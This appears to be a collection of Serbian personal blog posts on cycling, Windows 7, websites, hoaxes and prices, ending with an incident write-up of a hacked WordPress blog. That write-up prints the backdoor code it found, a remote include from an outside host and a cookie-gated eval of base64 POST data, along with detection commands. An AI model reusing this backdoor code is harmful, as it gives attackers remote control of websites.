• bogato podmazivanje lanca sa unutrašnje strane; jednom podmazan, okrenuti pedale nekoliko puta da se ulje ravnomerno nanese svuda (na zupčanike) i višak ulja pokupiti.
• gume ispumpati na 3/4
• u biciklističkim radnjama postoje sredstva za premazivanje spoljnih guma, koja štite gume od pucanja; nabaviti i premazati spoljne gume.

Postoje i razna sredstva na bazi voska kojima se premazuje ceo bicikl zbog zaštite od korozije, ali ja nisam imao iskustva sa tim – ako neko jeste, slobodno u komentare.

Kod odlaganja bicikla, gledati da nije direktno izložen atmosferskim uticajima; ako je baš neophodno (stoji na terasi) kupiti po farbarskim radnjama veeeliki komad najlona (jer nema tako velika najlon kesa) i umotati ga tako da na njega nikako ne može da padne voda.

Takođe, gledati da gume ne leže na površini koja može da zaledi (loše profilisan beton) – dve daščice ispod svake od guma će uraditi posao – i ove daščice idu ISPOD najlona.

Ako uslovi dozvoljavaju, svakih nekoliko nedelja okrenuti pedale za malo, čisto da ne leži ceo bicikl na istim delovima spoljne gume.

Posle zime, na godišnji servis, čim se prolepša vreme

Korisni linkovi

Sajtovi opšteg karaktera

1. Ciklonaut – sajt sa dušom i sa više informacija nego što bi i mogli da sanjate. Topla preporuka.
2. Freebiking – sajt koji se podelio na “dva”; na Ciklonaut i FreeBiking; aktivan forum gde mnogo korisnih stvari možete saznati

Sajtovi za kupovinu

1. Planet Bike
2. Capriolo
3. Intersport (Novi Merkator)
4. Vector, Novi Sad
5. Janković Comp, Ada, Vojvodina
6. Cikloberza – način da nađete gomilu sitnica i to jevtino; takođe da se otarasite i vašeg viška; takođe je dobar izbor za polovne bicikle.
7. Wiggle UK (isporučuju u Srbiju, samo se pazite zlih DHL / UPS špeditera); ako naručite robu, izaberite Standard Delivery – dobićete je za oko 10 radnih dana a dodatni troškovi su 29,8% + 350 dinara^*
8. Cela tema o online prodavnicama na CikloBerzi

^*Umesto da naša država računa 10% carine + 18% poreza (svega 28%) to joj ne bi dosta, pa po starom (lopovskom) običaju carina ULAZI u VREDNOST robe pa su ukupne dažbine 10% (carina ) + 1,10*18% = 29,8% – jeste samo 1,8% više, ali nakupi se

(sve navedeno u tekstu se može naći kod naših prodavaca).

Diskusija na DevProTalk-u o ambasadi Indije mi je dala trenutni impuls za malo istraživanje na temu “Kakvi su sajtovi Ambasada Srbije?”

Iako me je u prvom trenutku sajt ambasade Indije slatko nasmejao, posle ovog istraživanja se ne smejem Situacija je sramotno loša; toliko da me nije mrzelo da napišem pismo i pošaljem na adrese Ministarstva spoljnih poslova Republike Srbije, kako na kontakt adresu, tako i ministru Jeremiću.

Da ne bih prepričavao, evo pisma u celini i celosti:

Primedba 1: “dugi niz godina” – proverio sam stanje gornjih prezentacija preko WayBack Machine

Primedba 2: ne, ne nadam se da će IKO odgovoriti ili uraditi BILO ŠTA po ovom pitanju, ali sam morao da uradim nešto; no, ako odgovore, naravno da ću ovde postaviti update.

Na sreću, Google Mail se jako dobro bori sa spamom – preletim za nekoliko minuta i obično sve iz spam foldera obrišem.

No, ovaj mail je nekako prošao filter:

(klikni na sliku za veću)

Na stranu što naslov nema veze sa tekstom, na stranu što prodaju motore i kompjuKtore, na stranu što je solidno nepismen, na stranu što web adresa u tekstu NIJE link (iako je lepo zaplavljena i podvučena ), najjači atribut ove poruke je adresa pošiljaoca:

franc_murderer@hotmail (ili po srpski frank ubica @ hotmail.com )

I da, gospodin (kao i sajt) postoji – pa vi sada vidite da li želite da imate posla sa njim

Najveća muka i nevolja je bilo upravo testiranje u svim mogućim IE verzijama – uz neverovatna dovijanja da dobijete sve verzije na računaru.

No, tome je kraj na najlepši mogući način Upoznajte SuperPreview za Internet Explorer:

(klikni na sliku za veću)

Expression Web ekipa je odlučila da SuperPrevew za IE bude besplatan dodatak koji vam omogućava do skora neverovatne stvari:

• Prikaz sajta u IE6, IE7, IE8 (ako imate IE8 instaliran na mašini)
• Izbor koja je od ova tri browsera baseline (primarni)
• Izbor ciljne rezolucije (dole desno)
• Prikaz DOM stabla
• Panning mode (sinhronizovano skrolovanje u svim browserima)
• Overlay (preklapanje) prikaza iz jednog i drugog browsera (slaganje do u pixel)
• Overlay (preklapanje) prikaza iz browsera i učitane slike (slaganje sa dizajnom koji ste dobili)
• Svi detalji o html elementima ispod, uz naznačene pozicione elemente koji se razlikuju (crveno 85 i 399 u screenshotu)

SuperPreview za Expression Web će podržavati i gomilu drugih stvari (i browsera – sve koje imate instalirane na mašini, plus neke preko web servisa) ali i ovaj besplatni dodatak za IE zlata vredi, ako ste u developer vodama. Topla preporuka.

- Web strana: http://expression.microsoft.com/en-us/dd565874.aspx
- Download strana: http://www.microsoft.com/downloads/details.aspx?FamilyID…

Na kraju samo malo upozorenje: SuperPreview je u beti, pa su mogući neki problemli (ja ih nisam imao). Nevezano za probleme i finalna verzija plugina će biti besplatna.

Nekada je i bilo tako – u “staro” vreme. Današnji Microsoft nije ni nalik tome – proizvodi se razvijaju uz direktno učešće korisnika, sa neviđenom otvorenošću (i davanjem svih razvojnih verzija širokoj publici – tako je urađen Windows 7 – kvalitetan i bogat operativni sistem), u centralne razvojne alate se uključuju open-source biblioteke (jQuery u ASP.NET sistem) i neki drugi ljudi sa pozitivnom vizijom vode ovu kompaniju (za programere: obavezno pratite blog Scott Guthrie-a, koji je zaslužan za mnogo šta navedeno gore).

I ima vizije; na raznim poljima a ovo je jedna od tih (Microsoft Office Labs – Future Vision 2019):

(Klikni ovde za pun kvalitet)

Ne znam da li će ovo stvarno biti 2019. ili 2029, ali budućnost svakako obećava Čak i ako ovo bude budućnost iz Microsoft laboratorija, neću se buniti

Doduše, postoje pokušaji da se izdejstvuje produženje života .yu domena, ali svejedno – taj domen je odslužio svoje.

No, to nije tema ovog teksta; tema je opšta nebriga o ono malo preostalo sajtova na .yu domenu; naime, editor sam dmoz.org sekcije o naseljenim mestima uže Srbije i sam pogled na panel:

(klikni za veću sliku)

(crveni deo, broj grešaka) pokazuje koliko je sajtova “umrlo” (obnavljanje .yu domena se radilo iz faza u ovih poslednjih dve godine) i nije obnovljeno.

Uvek pokušam da za neki “bivši” domen lociram odgovarajući .rs domen, ali to je spor i mnogo puta neuspešan proces; čak i pišem svima koji su prijavili svoje sajtove ovde, ali vrlo, vrlo često ne dobijem čak ni odgovor – toliko o online kulturi i web prisustvu (a posebno jer je prisustvo sajta u dmoz.org imeniku vrlo važno ako želite visok rang na pretraživačima).

U svakom slučaju, ako vi održavate neki .yu sajt i/ili znate nekoga ko to isto radi – podsetite ga; jeste da je migracija na novi domen često dosadan i zamoran posao; jeste da se promenom domena gubi na važnosti sajta na pretraživačima, barem privremeno, ali što se pre odradi, to će se sve pre vratiti na normalu. Vremena je malo – još 30 dana.

Jedan od neracionalnih crta koje većina ljudi koja me zna ne može baš da spoji sa mnom je – igranje lotoa. Iako sam matematičar i znam da su šanse za dobitak na lotou broj uplaćenih kombinacija / 15,380,937 (ili: baš male), ja uredno svake nedelje (sada već dva puta nedeljno) uplaćujem svojih nekoliko kombinacija.

Brojevi su strateški raspoređeni, pa se desi da nekada dobijem trojku (40 din), četvorku (400 din) a dva puta sam dobio i peticu (5000 – 7000 din). Naravno, kada podvučem crtu, naravno da sam u gubitku ali mu ovo dođe kao izlazna karta “kad jednom dobijem pa se izvučem iz sveg ovog *ranja …” odnosno ventil kada dnevne obaveze, stres i pritisci porastu preko svake mere.

Kod nas je Lutrija Srbije jedina ovlašćena organizacija za loto i slične igre, po Zakonu o igrama na sreću iz 2004. Od svih uplata koje se ostvare, 50% se odvaja za dobitke, 30% odlazi u Budžet Republike Srbije a 20% Lutriji za operativne troškove (ovde je i prost odgovor da li se izvlačenja “nameštaju” – nema razloga, jer je loto nepresušni izvor novca za državnu kasu – 30% od ukupne mase svakog meseca plus 20% od svakog velikog dobitka).

Koliko je to para? Recimo da je za 41. kolo uplaćeno 76.156.440 dinara (oko 810,000 €); recimo da ima 55 kola godišnje (oko Nove godine i Božića daju više kola; od avgusta će ih biti i mnogo više), što znači da su prihodi Lutrije negde oko 9 miliona evra godišnje.

E sad, da li bi očekivali da organizacija koja ima garantovanih 9 miliona evra godišnje se potrudi da recimo mogućnost uplate kombinacija unapred za nekoliko izvlačenja? Ili uplatu preko mobilnih telefona? Ja bih (nije ovo teško, znam i kako se to radi).

Ali da ne idemo toliko daleko, uvek možemo da povučemo argument da je “ovo Srbija” (iliti sve što treba da se uradi je teže, komplikovanije i skuplje, jer treba valjda podmazati mnogo znojavih ruku u lancu). Da idemo na nešto jednostavnije, recimo da ta ista Lutrija okači rezultate posle izvlačenja? Pola sata posle? Pola dana posle?

Ja bih. Rezultata od petka još uvek nema (subota, 16h) a kad će, ne znamo. Jedina prilika kada posećujem sajt RTV Pinka (omražene televizije) je posle izvlačenja, jer o apsurda, njima nije teško da to okače na sajt.

Jedan javni servis bi trebalo da pruži minimum usluga svojim korisnicima; javni servis koji uzima 50% svih uplaćenih para (što budžet, što Lutrija) bi morao da barem minimalno ispoštuje te iste korisnike. Javni servis koji ima kakvo-takvo rukovodstvo bi, barem malo, trebalo da brine i o malim ljudima koji omogućavaju rad tog servisa. Ne zato što moraju, već zato što je to profesionalno i dobro odrađen posao.

I da, javni servis bi trebalo da ima barem jednu email adresu gde ovakve kritike mogu da uputim, mada i ovaj blog dobro dođe.

Iako ga mnogi proglašavaju ispravkom za Vistu ili ono što je Vista trebala da bude, to prosto nije tačno – Windows 7 je novi operativni sistem, sa dovoljno izmena spolja i (pogotovo) iznutra da u takvo nešto ne treba imati sumnje.

Kako sam već dosta toga napisao o Windows 7 funkcijama u beta 1 izdanju, ovde ću probati samo da dodam stvari koje su ili specifične za finalno (RTM) izdanje ili koje sam propustio u prvom pisanju.

Instalacija

Windows 7 je moguće instalirati preko Viste (upgrade opcija) ili direktno, na čistu mašinu ili posebni disk. Direktan upgrade sa Windows 7 Beta/RC ili sa XP na W7 nije moguć; doduše, to nije preveliki hendikep – ionako je bolje da uradite čistu instalaciju i time dobijete maksimalno stabilan sistem, bez nasleđenih (loših) drajvera i/ili programa.

Windows Easy Transfer

(klikni za veću sliku)
Naravno, “čist install” ne znači da treba da se odreknete podešavanja vaših aplikacija koje ste mukotrpno postavljali kako vam najviše leži. Bez obzira da li je vaš prethodni sistem Vista ili XP, preporučujem korišćenje Windows Easy Transfer alata (nalazi se na instalacionom disku, direktorijum Support\Migwiz, datoteka migsetup.exe) – zapakovaće sve vaše datoteke, podešavanja registrija i sve ostalo što je potrebno da se na novom operativnom sistemu osećate kao kod kuće. Tu datoteku možete snimiti na USB disk ili CD/DVD i kasnije upotrebiti u novoinstaliranom sistemu. Sem podešavanja, Easy Transfer će vam dati i spisak programa (i osvežavati isti) koje trebate da instalirate da bi sve radilo kako očekujete (vidi sliku).

Sama instalacija je jako brza; uz minimum pitanja, i samo jednim restartom (zavisi od vaše mašine i/ili izabrane konfiguracije) za 20-ak minuta imate radeći Windows 7 sistem. Većina drajvera je automatski instalirana (ili sa DVD-a ili preko Windows Update sajta) – jedini uređaj na mojoj konfiguraciji koji nije instaliran je modem (što me ne brine previše).

Kompatibilnost

Ako je aplikacija radila na Visti, skoro sigurno će raditi i na Windows 7. Instalirao sam standardan paket za poslovnu mašinu:

• Microsoft Visual Studio 2008 (i prateće alate)
• WinMerge
• TortoiseSVN
• Oracle Client 10.0.2.0.4
• True Crypt
• TOAD 9.7.2
• Microsoft Office 2007
• http://pack.google.com/ (FireFox, Google Earth, Adobe Reader, Chrome, Google Talk, Skype)
• ImgBurn
• Last.Fm
• Nokia PC Suite
• Paint.Net
• 7 Zip
• YU tastature za Vistu
• Total Commander
• PDF Creator
• ClipX

i za sada nije bilo nikakvih problema u svakodnevnom radu.

Mnoge druge stvari sa referentne liste programa nisu više potrebne, jer su ugrađene u sam W7 (osvežiću listu čim pre).

Mali problem je što je Windows 7 prvi operativni sistem koji nema ugrađen mail klijent (možete uzeti besplatan Windows Live Mail iz Essentials paketa) pa u startu ne postoji ni jedan program koji podržava mailto: protokol; tako da može desiti da aplikacije koje se oslanjaju na Outlook Express za slanje maila neće raditi.

Svakodnevni rad

Libraries

Ono što mi je oduvek nedostajalo i ograničavalo u radu (doduše, ja sam organizational freak) je to što su “specijalne” lokacije (Documents, Pictures, Music, Videos itd) zakucane na jednu i samo jednu lokaciju na disku. Kako svi danas radimo sa mrežnim okruženjima, spoljnim hard diskovima, USB Flash diskovima, teško da ćete uspeti da realnost uz gornja ograničenja ispratite efikasno.

Tu Windows 7 uvodi pojam biblioteka (Libraries) – praktično skupa vaših foldera određenog tipa:

Iza svake od ovih ikona se nalazi skup foldera, koji ne moraju da budu na vašem računaru. Vrlo korisna opcija.

Taskbar

(klikni za veću sliku)

Ako bi trebalo da izdvojim jednu stvar koja karakteriše Windows 7, to je upravo rad sa taskbarom; brži je, intuitivniji, sa mnogo više mogućnosti; integracija QuickLaunch-a je izvedena još bolje od Viste.

Klik na ikonu na taskbaru otvara aplikaciju; ako je već otvorena, dovodi prvi prozor iz grupe u fokus. Shift + klik (ili klik srednjim dugmetom miša) na ikonu uvek lansira novu instancu aplikacije; posebna poslastica je Shift + Ctrl + klik – otvara aplikaciju pod administrativnim pravima. Na kraju, Shift + Right klik daje opcije za rad sa svim prozorima grupe – Restore / Minimize / Maximize.

Naravno, stare prečice (Win + 1 do Win + 0 : isto što i klik na n-tu ikonu na taskbaru) iz Viste i dalje važe.

Upravljanje prozorima

Dosta izmena je urađeno na radu sa prozorima i pokušaju da vam na svaki način olakšaju snalaženje među brdom otvorenih (pogotovo, ako imate više monitora).

Recimo, Aero Peek: ako postavite miša na umanjeni prikaz prozora u Taskbaru, svi ostali prozori na radnoj površini će “nestati”, omogućavajući vam da imate jasan pregled bez izbora samog prozora:

Klik na umanjen prikaz će dovesti prozor u fokus i omogućiti da nastavite prekinuti rad. Takođe, postoji gomila novih tastaturnih skraćenica za rad sa prozorima:

Win + Home – Minimizuj sve prozore osim onoga u kome sada radite

Win + kurzor gore – Maksimizuj aktivni prozor
Win + kurzor dole – Minimizuj aktivni prozor

Win + kurzor levo (desno) – “Prilepi” aktivni prozor za levu (desnu) ivicu monitora

Win + space – Napravi sve prozore providnim (pogledaj desktop)

Win + Shift + kurzor levo (desno) – Prebaci prozor na levi (desni) monitor

Prikaz desktopa (Show Desktop) je sada ugrađen u sam Taksbar – ako pređete mišem preko pravougaonika na kraju Taskbara svi prozori će postati providni; klik na taj pravougaonik će ih sve minimizovati. Ikonica sa crvenim krstićem je novi Action Center (Control Panel -> System and Security -> Action Center ili dupli klik na ikonu), koji vas obaveštava o svim pronađenim problemima i nudi i rešenja (na konkretnom primeru: ovde nisam instalirao antivirusni program).

Multimedija

Kao što sam napisao u prethodnom tekstu, Windows Media Player je drastično unapređen: čistiji i jednostavniji, upravljanje vašom bibliotekom zvuka, slike i videa je sasvim dobro odrađeno. U sam Windows 7 je sada ugrađena podrška za mnoge codec-e (i H.264/MPEG-4 AVC), čak i za Blu-Ray diskove (kod nas su retkost, ali to neće još dugo biti tako).

Ono što je interesantna novost je da sada možete puštati muziku sa vašeg kućnog računara na drugi računar na koji ste ulogovani preko interneta. Za to vam je potrebno:

- Da imate Windows Live ID (ako koristite MSN/Live Messenger, već ga imate; ako ne, otvara se besplatno, uz važeću mail adresu) i da isti Windows Live ID autorizujete za pristup na oba računara (server i klijent).

- da eventualno podesite vaše rutere (port forwarding)

- uključite Windows Player i povučete muziku sa vašeg računara

Ako je kojim slučajem jedan od računara u domenu (što praktično važi za većinu poslovnih računara) onda taj računar ne može biti izvor muzike, ali svakako može slušati muziku sa recimo kućnog računara.

Ispod haube

Iako je na vizuelnom delu dosta urađeno, još je bitnije (za mene) šta je sve promenjeno ispod haube – puno. Pobrojaću samo funkcije koje sam ispratio preko raznih blogova / sajtova:

1. Windows Kernel Dispatcher Lock – uklonjene su barijere za efikasan rad na računarima sa više procesorskih jezgara (uklonjen je Windows Kernel Dispatcher Lock i time ostvarena mogućnost za rad na mašinama do 256 jezgara); ovo sređivanje je otkrilo problem sa efikasnim upravljanjem memorije u sistemima sa toliko jezgara, pa je urađen i

2. Redizajn Windows Memory Manager dela.

3. Dodata je nova mrežna opcija, Direct Access – nešto kao lite VPN – način da pristupate vašem poslovnom okruženju sa W7 računara gde god da ste (zahteva da server u mreži koji izvršava Direct Acces bude Windows Server 2008 R2)

4. Mnogo bolja podrška za Solid State diskove – posebno važno za laptop računare.

Naravno, sve ove promene (kako spolja tako i iznutra) prate i promene u API pozivima, pa ćemo mi programeri imati dosta posla u dodavanju lepih novih funkcionalnosti (prvenstveno JumpList za Taskbar) u naše buduće (a bogami i postojeće) aplikacije.

Performanse

Pošto računar koristim u dnevnom radu i nemam naviku puštanja razno-raznih benchmark testova, mogu da dam samo svoj osećaj – brže od Viste. Koliko brže? Ne preterano; jer ovom efektu treba pridodati i to da je ovo novoinstalirani sistem, gde nisu svi programi instalirani kao na Visti. Sem samog “brže” (u smislu da neka operacija kraće traje) sam operativni sistem je sa mnogo boljim odzivom – klik ili taster proizvode trenutni efekat, tako da je pravo zadovoljstvo raditi.

U poređenju sa Windows XP … Prvo, nemam živu instancu XP-a već tri godine (ni kući ni na poslu) a drugo, verujem da je XP na istom harveru brži. Treće, to je i očekivano – verujem i da je Windows 98 SE na istom hardveru brži od XP-a Prosto, ko želi brzinu XP-a treba na istom i da ostane

Ukratko, na novijem hardveru Windows 7 će vam dati udobnije iskustvo od Viste.

Windows XP Mode

Virtuelizacija, ili mogućnost da u jednom trenutku radite sa više operativnih sistema ili instanci istog operativnog sistema je nezamenljiva kada razvijate aplikacije – lako testiranje i ispravljanje problema na različitim okruženjima bez da napustite vaš operativni sistem je način da uštedite gomilu vremena.

Već sam pominjao Virtual PC, no, Windows 7 je ovoga puta otišao i korak dalje: uveli su Windows XP Mode – način da zadržite sve vaše aplikacije koje rade pod XP-om a nisu kompatibilne sa novim Windows 7 operativnim sistemom.

Za ovo vam je potrebno:

• Windows 7 Professional ili jači
• Mašina koja ima hardversku podršku za virtuelizaciju (AMD-V™ ili Intel® VT)
• Procesor od barem 1Ghz i barem 2GB RAM (32 bita) ili 3GB RAM-a (64 bita) – iako ovo shvatite kao minimum
• Malo dodatnog prostora na disku (15 Gb)

Kada ste ovo obezbedili, ostaje da skinete Virtual PC Release Candidate kao i Windows XP Release Candidate (na istoj stranici su) i da ih instalirate. Ovim dobijate kopiju Windows XP Professiona SP3, potpuno licenciranu.

Po čemu se razlikuje Windows XP Mode od “uobičajenog” korišćenja Windows XP preko Virtual PC-a? Prvenstveno u vrlo čvrstoj integraciji sistema domaćina (Windows 7) i gosta (Windows XP): deljenje Clipboard prostora, drastično jednostavnije deljenje direktorijuma i fajlova, i najvažnije, mnogo bolji radi sa periferijom: USB uređaji se mogu ravnopravno koristiti između oba operativna sistema, a čak je moguće i štampati iz Windows XP mašine na štampače definisane u W7 okruženju. Praktično se radi o još jednom članu Microsoft Enterprise Desktop Virtualization (MED-V) familije – dva operativna sistema pod jednim desktopom: instalacija programa u XP Mode postavlja prečicu i na W7 desktop i vi možete startovati taj program direktno iz W7 okruženja.

Iako su i Virtual PC i Windows XP Mode u RC (Release Candidate) izdanju, stabilnost je dobra i nisam imao problema ni sa jednom aplikacijom koju sam probao u XP Modu (doduše, to nije veliki broj).

Za kraj

Windows 7 je pre svega izuzetan operativan sistem – ovo mogu da kažem iz 15+ godina iskustva sa Windows operativnim sistemima. W7 je vrlo stabilan (bez ijednog BSOD od kada se igram sa W7, a to je od početka godine – Beta1 i RC) i ispeglan, sa mnoštvo malih i velikih unapređenja. Ako prelazite sa XP-a, to će za vas biti sasvim novo (i vrlo lepo) iskustvo. Ako prelazite sa Viste (kao ja), dobićete smireniji, brži i efikasniji sistem, sa svim sitnicama na koje ste se navikli u Visti.

Lično, jedva čekam oktobar i instalacioni disk za kućevnu upotrebu

Ako planirate da kupujete novi računar, toplo savetujem da sačekate jesen i kupite ga sa Windows 7 Home Premium (za kuću) ili Professional izdanjem (ako ga koristite za posao). Ako pak imate novu mašinu i nešto viška novca naručite ga kod vašeg prodavca softvera – vaš računar to zaslužuje

Update 14. avgust 2009: Microsoft Srbija je otvorio konkurs za najbolju fotografiju iz Srbije, uz šansu da to postane deo finalne verzije Windows 7 (jedna od tema). Više detalja imate ovde – rok je 24. avgust.

Recimo, kao malopre: čudnim putevima Mreže, nabasam na sajt EUROSTAT-a – zvaničnog zavoda za statistiku Evropske unije. Među raznim podacima koje možete iskopati je jedan naročito interesantan izveštaj, sa rogobatnim imenom:

Wide spread in consumer prices across Europe in 2008 – Issue number 50/2009

To je mali izveštaj od 8 strana, koji se bavi prosečnim cenama u Evropskoj uniji kao i u zemljama u okruženju, pa tako i našom Srbijom. Kao referenca ( = 100 ) se koristi prosek cena u 27 EU zemalja. Sve iznad proseka – relativno skupo, sve ispod proseka – relativno jevtino.

Ukupan prosek cena u Srbiji je nešto ispod 60 (60% od cena u EU27). No, ukupan prosek nije ono što je interesantno; interesantne su brojke po oblastima. Primer:

Hrana i bezalkoholna pića: 82 (skuplje od Slovačke, Poljske, Litvanije, Rumunije, Crne Gore, BiH, Albanije, Bugarske i Makedonije)

Odeća: 104 (skuplje od Irske, Francuske, Holandije, Velike Britanije, Španije, Kipra, Poljske, Latvije, Turske, Mađarske, Litvanije, Rumunije, BiH, Albanije, Bugarske i Makedonije) – i skuplje od evropskog proseka!

Obuća: 111 (!) (lakše mi je da napišem zemlje koje su skuplje od nas, ali ajde, skuplje od: BiH, Albanije, Bugarske i Makedonije, Rumunije, Litvanije, Poljske, Slovačke, Češke, Mađarske, Turske, Latvije, Slovenije, Portugala, Kipra, Španije, Velike Britanije, Nemačke, Austrije, Italije, Belgije, Francuske i Irske).

Potrošačka elektronika: 101 (skuplje od Bugarske, Crne Gore, Latvije, Estonije, Velike Britanije, Švajcarske)

Zato slobodno možemo reći da smo barem po nekim aspektima stigli a bogami i prestigli Evropsku uniju (o platama i primanjima neki drugi put).

Sudeći po trendu, tekstovi su zadnja rupa na svirali, nešto što se zove nužno zlo i što će da odradi neko najpismeniji u firmi ili neko ko ima najviše vremena, a tek ako ima neko ko je završio književnost, puna kapa! Zato se i web sadržaj uglavnom čini kao miš-maš raznih priča “o nama i našim uslugama ili proizvodima” bez jasne ideje da upravo sadržaj komunicira sa posetiocem, uz očigledno odsustvo lektora i korektora sadržaja, jer je sve to, očigledno, najmanje bitno kad smo se već onoliko istrošili na taj internet i te web dizajnere i sličnu bagru.

Sa webom je još i lako. Ukoliko se uoče greške, propusti ili nebuloze, potrebna je samo dobra volja da se greške isprave, mada najčešće nema ko ni da ih vidi, pa kako će i da ih ispravlja? Greške ostaju kao spomenik preziru klijenata, jer šta one poručuju? Nije nam stalo do vas.

Sandučići su nam puni reklamnih brošura sa po najmanje dve slovne greške na svakoj strani, kad smo već dali 200 evra za taj glupi dizajn i glupu štampu, dobro je i ovako kako je. I onda greške, jednom odštampane, ostaju dokle god se ne razdeli tiraž, da svedoče o nemaru.

Šta je skuplje? Ušteda na lektoru ili 10.000 letaka punih grešaka?

Za Kolegijum, koji za sebe kaže da su “ljudi od reči“, reči su važne. Kolegijum ih ne prodaje, već pronalazi one reči koje će prodavati. One koje će nešto i reći. Posao ljudi u Kolegijumu je ne samo da ispravljaju greške, već i da pronalaze bolji stil ili bolju reč. Oni pišu saopštenja, web sadržaje, SEO elemente sajta (description, keywords, titles) a pouzdano znam da je Tanja, poznatija kao Moo, pisala i “pismo uredniku” u ime jednog klijenta i da vodi kompletnu pisanu dokumentaciju jednoj ne maloj kompaniji.

Ljudi imaju pametnija posla – naime, da se bave svojim poslom, a papirologiju su prepustili Kolegijumu. Posebno mi je zanimljivo što Tanjini saradnici trenutno pišu autobiografiju jednog čvrstog momka – mislio je da ima šta da kaže, ali čovek ne zna kako. Ali Tanja i njeni saradnici (ima tu i njenih kolega iz novinarstva, književnosti i izdavaštva) znaju kako se piše.

Zbog osetljivosti posla, Kolegijum ne imenuje svoje klijente ni u jednoj grupi svojih izvršenih usluga, osim što postoji jedna koju pružaju, zanimljiva i čini mi se jedinstvena kod nas, i na kojoj se potpisuju a može biti zanimljiva i blogerima sa književnim ambicijama: konsultacije za objavljivanje samostalnih autorskih izdanja (samizdat).

I da, dizajn za Kolegijum je smislila Tanja, grafički ga ispeglala i znak smislila Jelena, a programer / usability konsultant koga možete za sve ostalo kriviti je moja malenkost

Kao nagrada što ste pročitali dovde i kao čast za novi posao, ako na zahtevu za ponudu ili kontakt formi bilo gde u telu poruke unesete VESICORG, dobićete fini popust od 15% do kraja avgusta 2009 – malo li je na ovu skupoću i sveopštu krizu?

Šalu na stranu (ali gornji kupon je istina), toplo preporučujem Tanju i njenu ekipu – a znam da vam treba, čak i nekim mojim omiljenim blogerima koje redovno pratim

Pre toga, kraći uvod: astronomija je bila i ostala jedna od mojih omiljenih oblasti; dok sam bio mali, pravio sam teleskop sa 80 mm glavnim ogledalom, bio dopisni član astronomskog društva “Ruđer Bošković” i drhtao na -10 posmatrajući prolazak Halejeve komete u februaru 1986, što je iskustvo koje se ne zaboravlja.

E kada imate sve ovo u vidu, šta mislite kakva je bila moja reakcija kada sam dobio sledeći mail:

Ovo se jednom događa u našem životu.

28. Avgusta 2009 god., 30 minuta posle ponoci, pogledajte u nebo.

Planeta Mars bice vrlo sjajna na nebu i imace velicinu Meseca, premda je planeta Mars udaljena 34,65 miliona kilometara udaljena od Zemlje.

Pokusajte da ne propustite ovaj fenomen. Videce se golim okom, a izgledace kao da Zemlja ima dva Meseca !!!

Pojava ovog fenomena, ponovice se godine 2287.

Podelite ovu informaciju svim prijateljima, jer niko, od danas zivih ljudi, nece moci da ovo vidi po drugi put.

(a ni prvi put, mogao bih da dodam).

Pri tom je na listi primalaca (koja je bila ogromna) bilo ljudi za koje bih se zakleo da će prvo proveriti tu informaciju, ali ne – moć i lakoća Forward dugmeta su nešto što se teško prevazilazi.

Sve u svemu, naravno da Mars nikada neće biti velik kao Mesec i naravno da je ovo samo još jedan Hoax – ali sam se barem slatko nasmejao

Pri tom sam, kao i svi IT geekovi (freakovi) itekako ponosan na svoj rad – sve fino i ispeglano, sve radi kao sat. Možete onda zamisliti mog užasa kada sam u Google Reader-u video ovakvu sliku:

Pri tom je WordPress u pitanju potpuno zakrpljen, na verziju 2.8.2

(sitno upozorenje: uputstvo koje sledi podrazumeva da zaista znate šta radite – nije za hobi vlasnike WordPress-a i potreban je full backup svih fajlova i baze pre ikakvog igranja)

Ovo je zahtevalo solidnu akciju – krenuo sam u analizu celokupnog WordPress-a, od baze do fajlova, na svim dostupnim instalacijama.

Analiza

Promena u fajlovima – sondiranje

Prvi i najjednostavniji korak je videti da li su, i koji WordPress fajlovi promenjeni. Rečeno – učinjeno: skočio sam do WordPress release arhive i skinuo odgovarajuću verziju. Zatim sam skinuo i tekuće fajlove i uz pomoć WinMerge programa napravio poređenje.

Imao sam šta i da vidim:

index.php – umesto očekivanog:

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');

dobio sam:

/** Loads the WordPress Environment and Template */
if (isset($_GET['license'])) {
    @include('http://wordpress.net.in/license.txt');
} else {
    require('./wp-blog-header.php');
}

Praktično, sajt http://wordpress.net.in/license.txt “učestvuje” u vašem blogu, a da vas za to nije pitao

Zatim xmlrpc.php – umesto očekivanog:

if ( isset($HTTP_RAW_POST_DATA) )
    $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);

upisano je:

if ( isset($HTTP_RAW_POST_DATA) )
    $HTTP_RAW_POST_DATA = mysql_escape_string(trim($HTTP_RAW_POST_DATA));

(mada nisam uspeo da provalim kakva je funkcionalnost dodavanja mysql_escape_string funkcije).

Promena u fajlovima – detaljna analiza

Kako mi je ovo samo pokazalo da promena zaista ima, krenuo sam u temeljniju akciju: napravio sam lokalnu “sliku” sajta, dopunjujući instalaciju WordPress-a sa svim svežim pluginovima i uporedio sa situacijom sa sajta. Rezultat je bio neverovatan; ovo su samo od nekih fajlova koji su volšebno nastali na sajtu, a da ne pripadaju originalno instalaciji:

wp-content/plugins/events-calendar/ec_management.bak
wp-content/plugins/exec-php/css/admin.old
wp-content/plugins/exec-php/includes/option.old
wp-content/plugins/exec-php/images/progress.old
wp-content/plugins/wp-super-cache/wp-cache-base.old
wp-content/plugins/wp-cache/README.old
wp-content/uploads/2008/01/svinja_old.png
wp-content/themes/classic/header_old.gif

Algoritam imenovanja ovih fajlova je jednostavan – uz neki postojeći fajl se kreira novi fajl, koji dobija nastavak .old ili .bak ili to isto postaje deo imena. Bez obzira na nastavak, unutra je maliciozni php kod koji radi veoma ružne stvari.

Pored gornjih, postojala je gomila novih fajlova među slikama, sa nastavcima kao što su .pngg, .jpgg ili .giff, koji su takođe imali zločesti php kod.

Ako imate ssh pristup serveru, neke od komandi koje mogu pomoći u lociranju fajlova su:

find . -name *_new.php
find . -name *_old.php
find . -name *.old
find . -name *.bak
find . -name *.pngg
find . -name *.jpgg
find . -name *.giff 

grep -r -l -i 'f541b3abd05e7962fcab37737f40fad8' *
grep -r -l -i 'if(md5' *

Sem novih fajlova, i gomila postojećih fajlova je promenjena (obično među temama), dodavanjem nekoliko linija koda, na primer:

if(md5($_COOKIE['e4485c074ae5eeec'])=="1350e06b21ccb35f1389d7587fbe42cc") {
    eval(base64_decode($_POST['file']));
    exit;
}

Prva (pogrešna) misao je da su fajlovi “nekako” dospeli na blog, i da je dovoljno da ih izbrišem i sve će biti ok. Tako sam krenuo u:

Čišćenje

Korak 1 – fajlovi

Umesto da brišem i proveravam fajl po fajl, lokalno sam:

• Raspakovao najnoviju verziju WordPress-a
• na to dodao sve pluginove koji se koriste na sajtu, skinute ponovo sa originalnih adresa
• sve teme ponovo skinuo i stavio ih u wp-content/themes
